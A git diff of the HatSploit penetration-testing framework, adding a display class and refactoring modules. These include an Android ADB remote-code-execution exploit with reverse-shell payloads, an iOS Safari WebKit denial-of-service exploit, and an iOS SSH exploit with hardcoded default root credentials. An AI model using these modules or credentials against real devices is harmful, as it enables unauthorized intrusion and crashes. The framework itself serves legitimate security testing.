index 000000000..40e0d654d
--- /dev/null
+++ b/hatsploit/lib/ui/show.py
@@ -0,0 +1,632 @@
+"""
+MIT License
+
+Copyright (c) 2020-2024 EntySec
+
+Permission is hereby granted, free of charge, to any person obtaining a copy
+of this software and associated documentation files (the "Software"), to deal
+in the Software without restriction, including without limitation the rights
+to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+copies of the Software, and to permit persons to whom the Software is
+furnished to do so, subject to the following conditions:
+
+The above copyright notice and this permission notice shall be included in all
+copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+SOFTWARE.
+"""
+
+from typing import Optional
+from textwrap import dedent, fill
+
+from badges import Badges, Tables
+
+from hatsploit.lib.ui.modules import Modules
+from hatsploit.lib.ui.payloads import Payloads
+from hatsploit.lib.ui.plugins import Plugins
+from hatsploit.lib.ui.sessions import Sessions
+from hatsploit.lib.ui.encoders import Encoders
+from hatsploit.lib.ui.jobs import Jobs
+
+from hatsploit.lib.loot import Loot
+from hatsploit.lib.core.module import Module
+from hatsploit.lib.storage import STORAGE
+
+
+class Show(Badges, Tables):
+    """ Subclass of hatsploit.lib module.
+
+    This subclass of hatsploit.lib module is intended for providing
+    tools for showing different things.
+    """
+
+    jobs = Jobs()
+    loot = Loot()
+
+    modules = Modules()
+    payloads = Payloads()
+    plugins = Plugins()
+    encoders = Encoders()
+    sessions = Sessions()
+
+    def show_jobs(self, jobs: dict) -> None:
+        """ Show active jobs.
+
+        :param dict jobs: dictionary of jobs, where job IDs are keys
+        and job objects are items
+        :return None: None
+        :raises RuntimeWarning: with trailing warning message
+        """
+
+        if not jobs:
+            raise RuntimeWarning("No running jobs available.")
+
+        data = []
+        headers = ("ID", "Name", "Module")
+
+        for job_id, job in jobs.items():
+            data.append(
+                (job_id, job.name, job.module)
+            )
+
+        self.print_table("Active Jobs", headers, *data)
+
+    def show_sessions(self, sessions: dict) -> None:
+        """ Show opened sessions.
+
+        :param dict sessions: sessions dictionary, where session ID is a key
+        and session data is item
+        :return None: None
+        :raises RuntimeWarning: with trailing warning message
+        """
+
+        if not sessions:
+            raise RuntimeWarning("No opened sessions available.")
+
+        data = []
+        headers = ("ID", "Platform", "Arch", "Type", "Host", "Port")
+
+        for session_id, session in sessions.items():
+            data.append(
+                (session_id, session.info['Platform'], session.info['Arch'],
+                 session.info['Type'], session.info['Host'], session.info['Port'])
+            )
+
+        self.print_table("Opened Sessions", headers, *data)
+
+    def show_loot(self, loot: list) -> None:
+        """ Show collected loot.
+
+        :param list loot: loot array
+        (array of tuples containing loot information)
+        :return None: None
+        :raises RuntimeWarning: with trailing warning message
+        """
+
+        if not loot:
+            raise RuntimeWarning("No loot collected yet.")
+
+        headers = ("Loot", "Path", "Time")
+        self.print_table("Collected Loot", headers, *loot)
+
+    def show_loaded_plugins(self, plugins: dict) -> None:
+        """ Show loaded plugins.
+
+        :param dict plugins: dictionary of plugins, where plugin name is a key
+        and plugin object is an item
+        :return None: None
+        :raises RuntimeWarning: with trailing warning message
+        """
+
+        headers = ("Number", "Plugin", "Name")
+        shorts = {}
+        data = []
+        number = 0
+
+        for plugin in sorted(plugins):
+            data.append(
+                (number, plugin, plugin[plugin].info['Name'])
+            )
+
+            shorts.update({
+                number: plugin
+            })
+            number += 1
+
+        if not shorts:
+            raise RuntimeWarning("No plugins available.")
+
+        self.print_table(f"Loaded Plugins", headers, *data)
+        STORAGE.set("plugin_shorts", shorts)
+
+    def show_plugins(self, plugins: dict) -> None:
+        """ Show plugins.
+
+        :param dict plugins: dictionary of plugins, where plugin name is a key
+        and plugin data is an item
+        :return None: None
+        :raises RuntimeWarning: with trailing warning message
+        """
+
+        headers = ("Number", "Plugin", "Name")
+        shorts = {}
+        number = 0
+        data = []
+
+        for plugin in sorted(plugins):
+            plugin = plugins[plugin]
+
+            data.append(
+                (number, plugin['BaseName'], plugin['Name'])
+            )
+
+            shorts.update({
+                number: plugin['BaseName']
+            })
+
+            number += 1
+
+        self.print_table(f"Plugins", headers, *data)
+
+        if not shorts:
+            raise RuntimeWarning("No plugins available.")
+
+        STORAGE.set("plugin_shorts", shorts)
+
+    def show_encoders(self, encoders: dict) -> None:
+        """ Show encoders.
+
+        :param dict encoders: dictionary of encoders, where encoder name is a key
+        and encoder data is an item
+        :return None: None
+        :raises RuntimeWarning: with trailing warning message
+        """
+
+        headers = ("Number", "Encoder", "Name")
+        shorts = {}
+        number = 0
+        data = []
+
+        for encoder in sorted(encoders):
+            encoder = encoders[encoder]
+
+            data.append(
+                (number, encoder['BaseName'], encoder['Name'])
+            )
+
+            shorts.update({
+                number: encoder['BaseName']
+            })
+
+            number += 1
+
+        self.print_table(f"Encoders", headers, *data)
+
+        if not shorts:
+            raise RuntimeWarning("No encoders available.")
+
+        STORAGE.set("encoder_shorts", shorts)
+
+    def show_modules(self, modules: dict, category: Optional[str] = None) -> None:
+        """ Show modules by category.
+
+        :param dict modules: modules dictionary, module name as key and
+        module data as item
+        :param Optional[str] category: category
+        :return None: None
+        :raises RuntimeWarning: with trailing warning message
+        """
+
+        headers = ("Number", "Category", "Module", "Rank", "Name")
+        shorts = {}
+        number = 0
+        data = []
+
+        for module in sorted(modules):
+            module = modules[module]
+
+            if not category:
+                data.append(
+                    (number, module['Category'], module['BaseName'],
+                     module['Rank'], module['Name'])
+                )
+
+                shorts.update(
+                    {number: module['BaseName']}
+                )
+
+                number += 1
+                continue
+
+            if category == module['Category']:
+                data.append(
+                    (number, module['Category'], module['BaseName'],
+                     module['Rank'], module['Name'])
+                )
+
+                shorts.update({
+                    number: module['BaseName']
+                })
+
+                number += 1
+
+        if category:
+            self.print_table(f"{category.title()} Modules", headers, *data)
+        else:
+            self.print_table(f"Modules", headers, *data)
+
+        if not shorts:
+            raise RuntimeWarning("No modules available.")
+
+        STORAGE.set("module_shorts", shorts)
+
+    def show_payloads(self, payloads: dict) -> None:
+        """ Show payloads.
+
+        :param dict payloads: payloads dictionary, payload name as key
+        and payload data as item
+        :return None: None
+        :raises RuntimeWarning: with trailing warning message
+        """
+
+        headers = ("Number", "Payload", "Name")
+        shorts = {}
+        number = 0
+        data = []
+
+        for payload in sorted(payloads):
+            payload = payloads[payload]
+
+            data.append(
+                (number, payload['BaseName'], payload['Name'])
+            )
+
+            shorts.update({
+                number: payload['BaseName']
+            })
+
+            number += 1
+
+        self.print_table(f"Payloads", headers, *data)
+
+        if not shorts:
+            raise RuntimeWarning("No payloads available.")
+
+        STORAGE.set("payload_shorts", shorts)
+
+    def show_search_plugins(self, plugins: dict, keyword: str) -> None:
+        """ Show plugins that contain the keyword.
+
+        :param dict plugins: dictionary of plugins, where plugin name is a key
+        and plugin data is an item
+        :param str keyword: keyword
+        :return None: None
+        """
+
+        headers = ("Number", "Plugin", "Name")
+        shorts = {}
+        number = 0
+        data = []
+
+        for plugin in sorted(plugins):
+            plugin = plugins[plugin]
+
+            if keyword not in plugin['BaseName'] + plugin['Name']:
+                continue
+
+            data.append(
+                (number, plugin['BaseName'].replace(keyword, f'%red{keyword}%end'),
+                 plugin['Name'].replace(keyword, f'%red{keyword}%end'))
+            )
+
+            shorts.update(
+                {number: plugin['BaseName']}
+            )
+
+            number += 1
+
+        if data:
+            self.print_table(f"Plugins", headers, *data)
+
+        if shorts:
+            STORAGE.set("plugin_shorts", shorts)
+
+    def show_search_encoders(self, encoders: dict, keyword: str) -> None:
+        """ Show encoders that contain the keyword.
+
+        :param dict encoders: dictionary of encoders, where encoder name is a key
+        and encoder data is an item
+        :param str keyword: keyword
+        :return None: None
+        """
+
+        headers = ("Number", "Encoder", "Name")
+        shorts = {}
+        number = 0
+        data = []
+
+        for encoder in sorted(encoders):
+            encoder = encoders[encoder]
+
+            if keyword not in encoder['BaseName'] + encoder['Name']:
+                continue
+
+            data.append(
+                (number, encoder['BaseName'].replace(keyword, f'%red{keyword}%end'),
+                 encoder['Name'].replace(keyword, f'%red{keyword}%end'))
+            )
+
+            shorts.update(
+                {number: encoder['BaseName']}
+            )
+
+            number += 1
+
+        if data:
+            self.print_table(f"Encoders", headers, *data)
+
+        if shorts:
+            STORAGE.set("encoder_shorts", shorts)
+
+    def show_search_modules(self, modules: dict, keyword: str) -> None:
+        """ Show modules that contain the keyword.
+
+        :param dict modules: dictionary of modules, where module name is a key
+        and module data is an item
+        :param str keyword: keyword
+        :return None: None
+        """
+
+        headers = ("Number", "Category", "Module", "Rank", "Name")
+        shorts = {}
+        number = 0
+        data = []
+
+        for module in sorted(modules):
+            module = modules[module]
+
+            if keyword not in module['BaseName'] + module['Name']:
+                continue
+
+            data.append(
+                (number, module['Category'],
+                 module['BaseName'].replace(keyword, f'%red{keyword}%end'),
+                 module['Rank'],
+                 module['Name'].replace(keyword, f'%red{keyword}%end'))
+            )
+
+            shorts.update(
+                {number: module['BaseName']}
+            )
+
+            number += 1
+
+        if data:
+            self.print_table(f"Modules", headers, *data)
+
+        if shorts:
+            STORAGE.set("module_shorts", shorts)
+
+    def show_search_payloads(self, payloads: dict, keyword: str) -> None:
+        """ Show payloads that contain the keyword.
+
+        :param dict payloads: dictionary of payloads, where payload name is a key
+        and payload data is an item
+        :param str keyword: keyword
+        :return None: None
+        """
+
+        headers = ("Number", "Module", "Name")
+        shorts = {}
+        number = 0
+        data = []
+
+        for payload in sorted(payloads):
+            payload = payloads[payload]
+
+            if keyword not in payload['BaseName'] + payload['Name']:
+                continue
+
+            data.append(
+                (number,
+                 payload['BaseName'].replace(keyword, f'%red{keyword}%end'),
+                 payload['Name'].replace(keyword, f'%red{keyword}%end'))
+            )
+
+            shorts.update(
+                {number: payload['BaseName']}
+            )
+
+            number += 1
+
+        if data:
+            self.print_table(f"Payloads", headers, *data)
+
+        if shorts:
+            STORAGE.set("payload_shorts", shorts)
+
+    def show_module_targets(self, module: Module) -> None:
+        """ Show module targets.
+
+        :param Module module: module object
+        :return None: None
+        :raises RuntimeWarning: with trailing error message
+        """
+
+        if not module:
+            raise RuntimeWarning("No module selected.")
+
+        targets = module.info['Targets']
+        headers = ('Current', 'ID', 'Name')
+        number = 0
+        data = []
+
+        for target in targets:
+            data.append(('*' if module.target == targets[target] else '', number, target))
+            number += 1
+
+        if data:
+            self.print_table(f"Targets ({module.info['Module']})", headers, *data)
+
+    def show_module_devices(self, module: Module) -> None:
+        """ Show module devices.
+
+        :param Module module: module object
+        :return None: None
+        :raises RuntimeWarning: with trailing error message
+        """
+
+        if not module:
+            raise RuntimeWarning("No module selected.")
+
+        devices = module.info['Devices']
+        headers = ('ID', 'Name')
+        number = 0
+        data = []
+
+        for device in devices:
+            data.append((number, device))
+            number += 1
+
+        if data:
+            self.print_table(f"Devices ({module.info['Module']})", headers, *data)
+
+    def show_module_information(self, details: Optional[dict] = None) -> None:
+        """ Show module details.
+
+        :param Optional[dict] details: module details
+        :return None: None
+        """
+
+        if not details:
+            module = self.modules.get_current_module()
+            details = module.info
+
+        style = dedent(f"""
+            Name: %s
+          Module: %s
+        Platform: %s
+            Rank: %s
+
+        Authors:
+          %s
+
+        Description:
+          %s
+
+        References:
+          %s
+        """)
+
+        authors = '\n  '.join(details['Authors'])
+        desc = fill(details['Description'], width=50,
+                    subsequent_indent='  ')
+        refs = []
+        for ref in details['References']:
+            for key, value in ref.items():
+                refs.append(f'{key}: {str(value)}')
+
+        refs = '\n  '.join(refs)
+
+        self.print_empty(
+            style % (details['Name'], details['Module'], details['Platform'],
+                     details['Rank'], authors, desc, refs)
+        )
+
+    def show_options_table(self, title: str, options: dict) -> None:
+        """ Show options for specific title.
+
+        :param str title: title
+        :param dict options: options, option names as keys and option data as
+        items
+        :return None: None
+        """
+
+        headers = ("Option", "Value", "Required", "Description")
+        data = []
+
+        for option in sorted(options):
+            if not options[option].visible:
+                continue
+
+            value, required = options[option].value, \
+                options[option].required
+
+            required = "yes" if required else "no"
+            value = "" if value is None else value
+
+            if isinstance(value, bool):
+                value = "yes" if value else "no"
+
+            data.append(
+                (option, value, required,
+                 options[option].description)
+            )
+
+        self.print_table(title, headers, *data)
+
+    def show_options(self, module: Module) -> None:
+        """ Show options.
+
+        :param Module module: module object
+        :return None: None
+        :raises RuntimeWarning: with trailing warning message
+        """
+
+        if not module:
+            raise RuntimeWarning("No module selected.")
+
+        if module.options:
+            self.show_options_table(
+                f"Module Options ({module.info['Module']})", module.options)
+
+        payload = self.payloads.get_current_payload(module)
+
+        if not payload:
+            return
+
+        encoder = self.encoders.get_current_encoder(module, payload)
+
+        if payload.options:
+            self.show_options_table(
+                f"Payload Options ({payload.info['Payload']})", payload.options)
+
+        if encoder and encoder.options:
+            self.show_options_table(
+                f"Encoder Options ({encoder.info['Encoder']})", encoder.options)
+
+    def show_advanced(self, module: Module) -> None:
+        """ Show advanced options.
+
+        :param Module module: module object
+        :return None: None
+        :raises RuntimeWarning: with trailing warning message
+        """
+
+        payload = self.payloads.get_current_payload(module)
+
+        if not module:
+            raise RuntimeWarning("No module selected.")
+
+        if module.advanced:
+            self.show_options_table(
+                f"Module Advanced Options ({module.info['Module']})", module.advanced)
+
+        if not payload:
+            return
+
+        encoder = self.encoders.get_current_encoder(module, payload)
+
+        if payload.advanced:
+            self.show_options_table(
+                f"Payload Advanced Options ({payload.info['Payload']})", payload.advanced)
+
+        if encoder and encoder.advanced:
+            self.show_options_table(
+                f"Encoder Advanced Options ({encoder.info['Encoder']})", encoder.advanced)
diff --git a/hatsploit/modules/auxiliary/android/checker/check_adb_installation.py b/hatsploit/modules/auxiliary/android/checker/check_adb_installation.py
index 25b825e7a..3e39b9784 100755
--- a/hatsploit/modules/auxiliary/android/checker/check_adb_installation.py
+++ b/hatsploit/modules/auxiliary/android/checker/check_adb_installation.py
@@ -3,35 +3,34 @@
 Current source: https://github.com/EntySec/HatSploit
 """
 
-from hatsploit.lib.module.basic import *
+from hatsploit.lib.core.module.basic import *
+from hatsploit.lib.core.module.proto import TCP
 
-from pex.proto.tcp import TCPTools
 
-
-class HatSploitModule(Module, TCPTools):
+class HatSploitModule(Module, TCP):
     def __init__(self):
-        super().__init__()
-
-        self.details.update({
+        super().__init__({
             'Category': "auxiliary",
             'Name': "ADB Installation Checker",
             'Module': "auxiliary/android/checker/check_adb_installation",
             'Authors': [
-                'Ivan Nikolskiy (enty8080) - module developer',
+                "Ivan Nikolskiy (enty8080) - module developer",
             ],
-            'Description': "Check if remote Android device has ADB installation.",
+            'Description': (
+                "Check if remote Android device has ADB installation."
+            ),
             'Platform': OS_ANDROID,
-            'Rank': "low",
+            'Rank': LOW_RANK,
         })
 
-        self.target = IPv4Option(None, "Remote host.", True)
+    def __call__(self):
+        self.port.set(5555)
+        self.port.visible = False
+        self.host.description = "ADB host."
 
     def run(self):
-        target = self.target.value
-
-        self.print_process(f"Checking {target}...")
-
-        if self.check_tcp_port(target, 5555):
+        if self.is_on():
             self.print_success("Target device may has ADB installation!")
-        else:
-            self.print_warning("Looks like target device has no ADB installation.")
+            return
+
+        self.print_warning("Looks like target device has no ADB installation.")
diff --git a/hatsploit/modules/auxiliary/apple_ios/checker/jailbroken_or_not.py b/hatsploit/modules/auxiliary/apple_ios/checker/jailbroken_or_not.py
index 32fa3cb61..43c437fff 100755
--- a/hatsploit/modules/auxiliary/apple_ios/checker/jailbroken_or_not.py
+++ b/hatsploit/modules/auxiliary/apple_ios/checker/jailbroken_or_not.py
@@ -3,33 +3,34 @@
 Current source: https://github.com/EntySec/HatSploit
 """
 
-from hatsploit.lib.module.basic import *
-from pex.proto.tcp import TCPTools
+from hatsploit.lib.core.module.basic import *
+from hatsploit.lib.core.module.proto import TCP
 
 
-class HatSploitModule(Module, TCPTools):
+class HatSploitModule(Module, TCP):
     def __init__(self):
-        super().__init__()
-
-        self.details.update({
+        super().__init__({
             'Category': "auxiliary",
             'Name': "Jailbreak Installation Checker",
             'Module': "auxiliary/apple_ios/checker/jailbroken_or_not",
             'Authors': [
-                'Ivan Nikolskiy (enty8080) - module developer',
+                "Ivan Nikolskiy (enty8080) - module developer",
             ],
-            'Description': "Check if remote iPhone jailbroken.",
+            'Description': (
+                "Check if remote iPhone jailbroken."
+            ),
             'Platform': OS_IPHONE,
-            'Rank': "low",
+            'Rank': LOW_RANK,
         })
 
-        self.target = IPv4Option(None, "Remote host.", True)
+    def __call__(self):
+        self.port.set(22)
+        self.port.visible = False
+        self.host.description = "iPhone host."
 
     def run(self):
-        target = self.target.value
-
-        self.print_process(f"Checking {target}...")
-        if self.check_tcp_port(target, 22):
+        if self.is_on():
             self.print_success("Target device may be jailbroken!")
-        else:
-            self.print_warning("Looks like target device is not jailbroken.")
+            return
+
+        self.print_warning("Looks like target device is not jailbroken.")
diff --git a/hatsploit/modules/auxiliary/generic/scanner/directory_scanner.py b/hatsploit/modules/auxiliary/generic/scanner/directory_scanner.py
index 87cece986..88e9e4e8c 100755
--- a/hatsploit/modules/auxiliary/generic/scanner/directory_scanner.py
+++ b/hatsploit/modules/auxiliary/generic/scanner/directory_scanner.py
@@ -4,30 +4,28 @@
 """
 
 from hatsploit.lib.config import Config
-from hatsploit.lib.module.basic import *
-from pex.proto.http import HTTPClient
 
+from hatsploit.lib.core.module.basic import *
+from hatsploit.lib.core.module.proto import HTTP
 
-class HatSploitModule(Module, HTTPClient):
-    def __init__(self):
-        super().__init__()
-
-        self.config = Config()
 
-        self.details.update({
+class HatSploitModule(Module, HTTP):
+    def __init__(self):
+        super().__init__({
             'Category': "auxiliary",
             'Name': "WEB Directory Scanner",
             'Module': "auxiliary/generic/scanner/directory_scanner",
             'Authors': [
-                'Ivan Nikolskiy (enty8080) - module developer',
+                "Ivan Nikolskiy (enty8080) - module developer",
             ],
-            'Description': "Website directory scanner.",
+            'Description': (
+                "Website directory scanner."
+            ),
             'Platform': OS_GENERIC,
-            'Rank': "medium",
+            'Rank': MEDIUM_RANK,
         })
 
-        self.host = IPv4Option(None, "Remote host.", True)
-        self.port = PortOption(80, "Remote port", True)
+        self.config = Config()
 
     def run(self):
         self.print_process(f"Scanning {self.host.value}...")
@@ -41,7 +39,7 @@ def run(self):
             path = '/' + path.replace("\n", "")
 
             response = self.http_request(
-                method="HEAD", host=self.host.value, port=self.port.value, path=path
+                method="HEAD", path=path
             )
 
             if response is not None:
diff --git a/hatsploit/modules/auxiliary/generic/scanner/http_header.py b/hatsploit/modules/auxiliary/generic/scanner/http_header.py
deleted file mode 100755
index ab658109a..000000000
--- a/hatsploit/modules/auxiliary/generic/scanner/http_header.py
+++ /dev/null
@@ -1,53 +0,0 @@
-"""
-This module requires HatSploit: https://hatsploit.com
-Current source: https://github.com/EntySec/HatSploit
-"""
-
-from hatsploit.lib.module.basic import *
-from pex.proto.http import HTTPClient
-from pex.proto.tcp import TCPTools
-
-
-class HatSploitModule(HTTPClient, Module, TCPTools):
-    def __init__(self):
-        super().__init__()
-
-        self.details.update({
-            'Category': 'auxiliary',
-            'Name': 'HTTP Header',
-            'Module': 'auxiliary/generic/scanner/http_header',
-            'Authors': ['Noah Altunian (naltun) - contributor'],
-            'Description': 'Retrieve HTTP headers from a server.',
-            'Platform': OS_GENERIC,
-            'Rank': 'low',
-        })
-
-        self.host = IPv4Option(None, "Remote host.", True)
-        self.port = PortOption(80, "Remote port", True)
-
-        self.http_methods = ['HEAD', 'GET']
-        self.headers = {}
-
-    def run(self):
-        remote_host, remote_port = self.host.value, self.port.value
-
-        self.print_process(f'Scanning {remote_host}...')
-        if self.check_tcp_port(remote_host, remote_port):
-            for method in self.http_methods:
-                resp = self.http_request(
-                    method=method,
-                    host=remote_host,
-                    port=remote_port,
-                    path='/',
-                )
-
-                if resp.status_code != 405:
-                    self.print_information(
-                        f'Header retrieved with %bold{method}%end HTTP method...'
-                    )
-                    self.print_success('HTTP header:')
-                    for header, content in resp.headers.items():
-                        self.print_empty(f'%bold{header}%end: {content}')
-                    break
-        else:
-            self.print_error(f'Could not connect to {remote_host}:{remote_port}')
diff --git a/hatsploit/modules/auxiliary/generic/scanner/http_methods.py b/hatsploit/modules/auxiliary/generic/scanner/http_methods.py
deleted file mode 100755
index f5add94bb..000000000
--- a/hatsploit/modules/auxiliary/generic/scanner/http_methods.py
+++ /dev/null
@@ -1,68 +0,0 @@
-"""
-This module requires HatSploit: https://hatsploit.com
-Current source: https://github.com/EntySec/HatSploit
-"""
-
-from hatsploit.lib.module.basic import *
-from pex.proto.http import HTTPClient
-from pex.proto.tcp import TCPTools
-
-
-class HatSploitModule(HTTPClient, Module, TCPTools):
-    def __init__(self):
-        super().__init__()
-
-        self.details.update({
-            'Category': 'auxiliary',
-            'Name': 'HTTP Methods',
-            'Module': 'auxiliary/generic/scanner/http_methods',
-            'Authors': ['Noah Altunian (naltun) - contributor'],
-            'Description': 'Find supported HTTP methods on a server',
-            'Platform': OS_GENERIC,
-            'Rank': 'low',
-        })
-
-        self.host = IPv4Option(None, "Remote host.", True)
-
-        self.http_methods = [
-            'CONNECT',
-            'DELETE',
-            'GET',
-            'HEAD',
-            'OPTIONS',
-            'PATCH',
-            'POST',
-            'PUT',
-            'TRACE',
-        ]
-
-        self.supported_methods = {'80': [], '443': [], 'count': 0}
-
-    def run(self):
-        remote_host = self.host.value
-
-        self.print_process(f'Scanning {remote_host}...')
-        for port in [80, 443]:
-            if self.check_tcp_port(remote_host, port):
-                for method in self.http_methods:
-                    resp = self.http_request(
-                        method=method,
-                        host=remote_host,
-                        port=port,
-                        path='/',
-                    )
-
-                    if resp:
-                        if resp.status_code == 200:
-                            self.supported_methods[str(port)].append(method)
-                            self.supported_methods['count'] += 1
-        if len(self.supported_methods['80']):
-            self.print_success(
-                f'Port 80 Supported Methods: {" ".join(self.supported_methods["80"])}'
-            )
-        if len(self.supported_methods['443']):
-            self.print_success(
-                f'Port 443 Supported Methods: {" ".join(self.supported_methods["443"])}'
-            )
-        if self.supported_methods['count'] == 0:
-            self.print_error('No supported HTTP methods detected')
diff --git a/hatsploit/modules/exploit/android/adb/remote_code_execution.py b/hatsploit/modules/exploit/android/adb/remote_code_execution.py
index e1483b0f2..adcac723a 100755
--- a/hatsploit/modules/exploit/android/adb/remote_code_execution.py
+++ b/hatsploit/modules/exploit/android/adb/remote_code_execution.py
@@ -3,28 +3,41 @@
 Current source: https://github.com/EntySec/HatSploit
 """
 
-from hatsploit.lib.module.basic import *
-from hatsploit.lib.module.proto import ADB
+from hatsploit.lib.core.module.basic import *
+from hatsploit.lib.core.module.proto import ADB
 
 
 class HatSploitModule(Module, ADB, Handler):
     def __init__(self):
-        super().__init__()
-
-        self.details.update({
+        super().__init__({
             'Category': "exploit",
             'Name': "Android ADB Remote Code Execution",
             'Module': "exploit/android/adb/remote_code_execution",
             'Authors': [
-                'Ivan Nikolskiy (enty8080) - module developer',
+                "Ivan Nikolskiy (enty8080) - module developer",
             ],
-            'Description': "Remote Code Execution in Android ADB.",
+            'Description': (
+                "Remote Code Execution in Android ADB."
+            ),
             'Platform': OS_ANDROID,
-            'Rank': "high",
+            'Rank': HIGH_RANK,
             'Payload': {
-                'Value': "unix/generic/bash_reverse_tcp",
-                'Platforms': [OS_ANDROID, OS_LINUX, OS_UNIX],
-                'Arches': [ARCH_ARMLE, ARCH_AARCH64, ARCH_GENERIC]
+                PayloadInlineMixin: {
+                    'Value': "unix/generic/bash_reverse_tcp",
+                    'Platform': [OS_ANDROID, OS_LINUX, OS_UNIX],
+                    'Arch': [ARCH_GENERIC]
+                },
+                PayloadDropMixin: {
+                    'Value': "linux/aarch64/shell_reverse_tcp",
+                    'Platform': [OS_ANDROID, OS_LINUX, OS_UNIX],
+                    'Arch': [ARCH_ARMLE, ARCH_AARCH64],
+                }
+            },
+            'DisclosureDate': "2016-01-01",
+            'Notes': {
+                'Stability': [CRASH_SAFE],
+                'Reliability': [RELIABLE_SESSION],
+                'SideEffects': [],
             }
         })
 
@@ -33,7 +46,8 @@ def run(self):
         client.connect()
 
         self.module_handle(
-            sender=client.send_command
+            sender=client.send_command,
+            path='/data/local/tmp',
         )
 
         client.disconnect()
diff --git a/hatsploit/modules/exploit/apple_ios/safari/webkit_filter_dos.py b/hatsploit/modules/exploit/apple_ios/safari/webkit_filter_dos.py
index 11196bf27..1c2da2a15 100755
--- a/hatsploit/modules/exploit/apple_ios/safari/webkit_filter_dos.py
+++ b/hatsploit/modules/exploit/apple_ios/safari/webkit_filter_dos.py
@@ -3,28 +3,38 @@
 Current source: https://github.com/EntySec/HatSploit
 """
 
-from hatsploit.lib.module.basic import *
-from hatsploit.lib.module.proto import HTTP
+from hatsploit.lib.core.module.basic import *
+from hatsploit.lib.core.module.proto import HTTP
 
 
 class HatSploitModule(Module, HTTP):
     def __init__(self):
-        super().__init__()
-
-        self.details.update({
+        super().__init__({
             'Category': "exploit",
             'Name': "iOS Safari WebKit Filter DoS",
             'Module': "exploit/apple_ios/safari/webkit_filter_dos",
             'Authors': [
-                'Ivan Nikolskiy (enty8080) - module developer',
-                'Sabri Haddouche (pwnsdx) - vulnerability researcher',
+                "Ivan Nikolskiy (enty8080) - module developer",
+                "Sabri Haddouche (pwnsdx) - vulnerability researcher",
             ],
-            'Description': "iOS 9.1 till 12.1 MobileSafari.app WebKit Filter DoS.",
+            'Description': (
+                "This is an exploit for iOS Safari WebKit DoS vulnerability. "
+                "If successful, the device will restart after viewing the webpage."
+            ),
             'Platform': OS_IPHONE,
-            'Rank': "high",
+            'Rank': HIGH_RANK,
+            'References': [
+                {'URL': 'https://twitter.com/pwnsdx/status/1040944750973595649'},
+            ],
+            'DisclosureDate': "2018-09-15",
+            'Notes': {
+                'Stability': [CRASH_DOWN],
+                'Reliability': [],
+                'SideEffects': [],
+            }
         })
 
-        self.urlpath = Option("/", "File path on server", True)
+        self.urlpath = Option('URLPATH', "/", "File path on server", True)
 
     def run(self):
         def get(request):
diff --git a/hatsploit/modules/exploit/apple_ios/ssh/cydia_default_password.py b/hatsploit/modules/exploit/apple_ios/ssh/cydia_default_password.py
index 2e484a944..2488dc9a8 100755
--- a/hatsploit/modules/exploit/apple_ios/ssh/cydia_default_password.py
+++ b/hatsploit/modules/exploit/apple_ios/ssh/cydia_default_password.py
@@ -3,54 +3,72 @@
 Current source: https://github.com/EntySec/HatSploit
 """
 
-from hatsploit.lib.module.basic import *
-from hatsploit.lib.module.proto import SSH
+from hatsploit.lib.core.module.basic import *
+from hatsploit.lib.core.module.proto import SSH
 
 
 class HatSploitModule(Module, SSH, Handler):
     def __init__(self):
-        super().__init__()
-
-        self.details.update({
+        super().__init__({
             'Category': "exploit",
             'Name': "iOS SSH Cydia.app Default Password",
             'Module': "exploit/apple_ios/ssh/cydia_default_password",
             'Authors': [
-                'Ivan Nikolskiy (enty8080) - module developer',
+                "Ivan Nikolskiy (enty8080) - module developer",
             ],
-            'Description': "Bypass iOS SSH authorization using Cydia.app default SSH password.",
+            'Description': (
+                "Bypass iOS SSH authorization using Cydia.app default SSH password."
+            ),
             'Platform': OS_IPHONE,
-            'Rank': "medium",
+            'Rank': HIGH_RANK,
             'Payload': {
-                'Value': "unix/generic/bash_reverse_tcp",
-                'Arches': [ARCH_ARMLE, ARCH_AARCH64, ARCH_GENERIC],
-                'Platforms': [OS_IPHONE, OS_UNIX],
-            }
+                PayloadInlineMixin: {
+                    'Value': "unix/generic/bash_reverse_tcp",
+                    'Platform': [OS_IPHONE, OS_UNIX],
+                    'Arch': [ARCH_GENERIC],
+                },
+                PayloadDropMixin: {
+                    'Platform': [OS_IPHONE],
+                    'Arch': [ARCH_ARMLE, ARCH_AARCH64],
+                }
+            },
+            'Targets': {
+                'Apple iOS (Cydia.app)': {
+                    'Credentials': [
+                        ('root', 'dottie'),
+                        ('root', 'alpine'),
+                        ('mobile', 'dottie'),
+                        ('mobile', 'alpine'),
+                    ]
+                }
+            },
+            'References': [
+                {'OSVDB': 61284},
+            ],
+            'DisclosureDate': "2007-07-02",
+            'Notes': {
+                'Stability': [CRASH_SAFE],
+                'Reliability': [RELIABLE_SESSION],
+                'SideEffects': [],
+            },
         })
 
         self.username.visible = False
         self.password.visible = False
 
     def run(self):
-        credentials = [
-            ('root', 'dottie'),
-            ('root', 'alpine'),
-            ('mobile', 'dottie'),
-            ('mobile', 'alpine'),
-        ]
-
-        for account in credentials:
-            self.print_process(f"Attempt to log in as {account[0]}:{account[1]}...")
+        for login, password in self.target['Credentials']:
+            self.print_process(f"Attempt to log in as {login}...")
 
-            self.username.set(account[0])
-            self.password.set(account[1])
+            self.username.set(login)
+            self.password.set(password)
 
             client = self.open_ssh()
 
             try:
                 client.connect()
 
-                self.print_success(f"Logged in via {account[0]}:{account[1]}!")
+                self.print_success(f"Logged in via {login}!")
                 self.module_handle(
                     sender=client.send_command
                 )
@@ -59,4 +77,4 @@ def run(self):
                 break
 
             except RuntimeError:
-                self.print_error(f"Failed to log in via {account[0]}:{account[1]}!")
+                self.print_error(f"Failed to log in via {login}!")
diff --git a/hatsploit/modules/exploit/linux/apache/nifi_api_rce.py b/hatsploit/modules/exploit/generic/apache/nifi_api_rce.py
similarity index 51%
rename from hatsploit/modules/exploit/linux/apache/nifi_api_rce.py
rename to hatsploit/modules/exploit/generic/apache/nifi_api_rce.py
index bf297991f..27c24bf9e 100755
